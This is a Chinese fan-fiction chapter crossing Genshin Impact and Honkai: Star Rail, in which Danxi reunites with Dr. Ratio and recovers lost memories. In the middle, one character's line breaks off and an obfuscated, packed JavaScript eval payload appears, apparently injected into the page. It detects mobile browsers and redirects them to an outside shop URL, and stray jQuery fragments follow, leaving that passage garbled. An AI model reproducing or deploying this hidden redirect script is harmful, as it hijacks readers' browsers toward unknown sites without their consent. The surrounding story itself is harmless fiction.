在等兹白适应璃月新生活的间隙，那自然也是免不了轻松愉快的「虞渊」行程的——只不过归终忍不住对丹曦谈起她去「餐厅」的时候遇到的‘怪人’：


    在「餐厅」里带着石膏头的人毕竟不是那么常见的。


    而且那位怪人先生的举止也确实显眼——毕竟上来就关注「虞渊」内教育设施的人…


    砚秀平：就这么一个。


    要不是卡卡瓦夏很明确的告诉他这位‘拉帝奥教授’和丹曦女士颇有渊源，他可不会回答对方‘「虞渊」之后的发展方向’这种问题。


    ——虽然他实际上也没得到丹曦给的答案：虽然他和伙伴、同事们为「虞渊」付出了相当多的心血，但丹曦女士从来不给他们设立‘目标’。


    拉帝奥：在这方面确实是一点没变。


    丹曦当然不会关注每个进出「虞渊」的人类，但脑袋是个石膏的高低得看一眼：结果…


    丹曦：是他啊…


    她很少关注人类，但这个‘石膏头’她还真的记得：之前在罗浮的时候和卡卡瓦夏一起行动的‘教授’。


    至于这个石膏头……嗯，真的就是个石膏外壳，并不是真的长着石膏头…


    她本来也不依靠外表分辨人类，所以石膏头不会对她造成认知困扰——但是，这位‘教授’先生…嗯…


    是不是一直在盯着她？


    好吧好吧，她其实也不在乎人类的关注…呃


    丹曦看看眼前的石膏头，再看看这握着她的手就往外走的自来熟操作，沉默了。


    只是对异世界人类‘品种’感兴趣的归终：…不是？


    归终：丹曦你…你就这么跟着走了？


    丹曦意外‘顺从’的跟着石膏头先生的指引，直至走出了茨冈尼亚的「分店入口」，看到眼前这片眼熟的黄沙…


    和‘研究室’。


    丹曦潜意识里已经感知到了‘熟悉’，但她依旧在等待石膏头先生开口。


    对方摘下了他的石膏头，在丹曦的身后甩了甩漂亮的蓝紫色头发——当然，他知道这些动作在丹曦的感知范围内：“你希望我用‘丹曦’来称呼你吗…”


    “「珂尤尼」。”


    丹曦站在原地没有回头，拉帝奥知道她肯定又神游了，也不催促，等她回神。


    “……还是‘丹曦’吧，”回神的丹曦音调依旧飘忽，“妾身没能诞育‘至高的魂灵’，自然也不能把‘摇篮’当做名字…”


    “…丹曦就挺好…起码它没有对一事无成的妾身有所期待。”


    拉帝奥不打算安慰丹曦——他比丹曦更清楚，她并不是在‘逃避过去’或是‘对责任不堪重负’：只是，冷漠的对过去做了个简短总结。


    “我来履行约定，”拉帝奥指了指‘研究室’，“斯蒂芬·劳艾德搭建的服务器占了一半的‘研究室’，我不建议你直接回收。”


    虽然对拉帝奥有自信不让‘外力’打断丹曦，但他还是希望‘转存’「记忆」能在「虞渊」这种完全在丹曦控制的地方。


    等丹曦重新给浮空岛面积‘超级加倍’用于停放‘研究室’，把宅居‘个人树屋’的斯蒂芬·劳艾德忽悠‘登岛’——璃月组有空的以及旅行组都被归终叫来‘凑热闹’了。


    “……”斯蒂芬恨不得掉头就跑——但丹曦这事儿确实要他帮忙：而且看样子丹曦也没有想给他开个介绍会的意思，姑且就凑合一下…


    不过他看到重新戴起石膏头的拉帝奥，倒是想起之前他找过自己。


    斯蒂芬脑子多好使，他立刻就意识到这人之前七拐八弯的通过螺丝咕姆找自己就是为了‘丢失’的丹曦。


    感觉自己小坑了丹曦一把的斯蒂芬心虚了半秒钟，随即就全身心投入‘整合’工作：当年丹曦‘分裂’服务器的手段过于粗暴，现在要修复也要花点时间。


    璃月组没有打扰明显带点社恐的斯蒂芬，也不知道要不要打断丹曦的神游，派蒙本来看气氛尴尬，还想说点什么，结果还没开口，就听到‘石膏头’说话了——


    “现在不会失控了？”


    派蒙：石膏头也会说话…不对…什么失控？


    石膏头…拉帝奥隔着石膏头看了派蒙这个‘未知物种’一眼，‘判断’一下利弊，还是给他们解释了：“我认识丹曦的时候，她容易受到感知范围内智慧生命的情绪影响…很少靠近高密度的人类文明。”


    丹曦回神：“嗯…之前积累的负面情绪已经消耗殆尽，我现在没法表现出对应态度…不过这对「虞渊」的稳定性有好处。”


    石膏头内的脸上呈现一个皱眉的表情，不过也没人猜到他怎么想——他没有继续这个话题，只是再次向背对着他的丹曦伸出手。


    丹曦迷惑了一下，只能现场开始‘学习人类肢体语言’：把手递给他。


    被放开了，不是想握手？


    把尾巴递给他。


    放的更快了，甚至还听到了‘啧’。


    看来萝卜纸巾猫的模式没法试探出石膏头先生的意图了——丹曦扭过头，决定靠提问获得答案…


    然后她看见石膏头先生手腕上有一根小黄鸭发带。


    丹曦：哦…是要头发啊。


    ‘猜’到了正确答案的丹曦转了回去，顺带着控制自己的头发‘降落’到石膏头先生的手上：嗯，距离也非常完美。


    归终看看垂着眼睛喝茶的钟离，再看看旁若无人用小黄鸭发带盘发的石膏头和丹曦：算了，毁灭吧。


    于是，等斯蒂芬完成‘前置步骤’，就看到丹曦‘将头发梳成大人模样’（但带小黄鸭），手上还被塞了个标准尺寸的橡胶小黄鸭浴室伴侣。


    他沉默了一秒，带点犹豫的提问：我要帮你把系统UI换成小黄鸭主题吗？


    派蒙：这是重点吗？


    总之，「记忆」已经在眼前，浮空岛上这些人终于搞明白原来丹曦还‘缺失’了一部分‘近期记忆’——偷偷跟红叶上岛围观的乱步忍不住吐槽：存在提瓦特的「光锥」当然只会有‘生成’时间点以前的记忆啊，难道是丹曦演的太好都没人发现？


    乱步：她甚至没有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364924|180786||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ‘说谎’，只是隐瞒真实情况而已…


    斯蒂芬觉得丹曦也可以设计一个小黄鸭虚拟形象——不过这会儿他拉回了重点：“协作密码，你想起来了？”


    之前就说过，想要‘启用’这部分的「记忆」，需要她自己和‘保管者’双方的协作密码——现在托孤的‘保管者’毫无疑问是石膏头先生，他这部分的密码应该不成问题，但自己这边…


    拉帝奥当然听到了斯蒂芬的问题：事实上…他是知道丹曦那一部分密码的。


    但他不直说，只是对忘记他姓名的丹曦做起了自我介绍。


    “我是维里塔斯·拉帝奥，此前是你的医生…兼‘研究室’的主人。”


    随即对着具现出的密码页面输入一串字符——丹曦看见了，也理解了。


    密码是石膏头先生常用文字音译的「珂尤尼」。


    她…曾经的她被父神赋予的名字。


    丹曦确实不以智商见长，但这么明显的暗示她还是能读懂的——不过她输「维里塔斯」输入一半，顿了一下：“是我的话…”


    ——不太可能规规矩矩的用这么长的全名。


    丹曦呵了一声，输入了「维里亚」，摁了确认。


    斯蒂芬：“验证通过…应该没我的事了吧。”


    他又不是变态或者「流光忆庭」相关人士，对网友的「记忆」不感兴趣。


    但他还是被（钟离暗示空，空明示）派蒙留在了现场：说到底助理系统是他的作品，真出问题了肯定是他解决起来最快。


    和存在提瓦特的「光锥」相比，这‘近期记忆’时间短暂的多，恢复整理的时间也短，对丹曦来说并没有什么负担：毕竟她现在没有负面情绪，占据记忆中大半篇幅的‘痛苦’不复存在——如果要她形容，更像是看了一场很难共情的映影。


    但这不影响她回忆那些占比可怜的‘快乐’，比如她睁眼就对石膏头…对维里亚‘抱怨’：


    你根本就不知道玩具柜里有几只小黄鸭，我之前拿了三个你根本就没发现，还是那只错版的绿嘴鸭没了你才想起来…


    拉帝奥一点不惯着：假设你清楚浴室伴侣就应该放在浴室而非随心情让它们随机出现在我的资料草稿样本或者枕头附近，那我或许愿意确认它们的实时数量是否恒定在十二。


    说完，他停顿了几秒：…现在是十一个。


    ——其中还有一个在丹曦手上，捏一下还能发出聒噪的动静。


    丹曦手上的小黄鸭甚至还有几道不明显的划痕：“…无论如何…你和它们都活下来了，这很好。”


    但…这份「记忆」也有同样的问题：它也只有‘生成’时间点之前的内容。


    丹曦从这记忆里看到了虞渊死亡的‘前因’——‘研究室’选择人迹罕至的跃迁路径，‘误入’了「反物质军团」侵蚀的星系。


    原本情况就岌岌可危的虞渊被「毁灭」连带着巨量负面情感刺激：就像毫无防备吞下了致死量的过敏食物。


    那个瞬间虞渊意识到——她…走到终点了。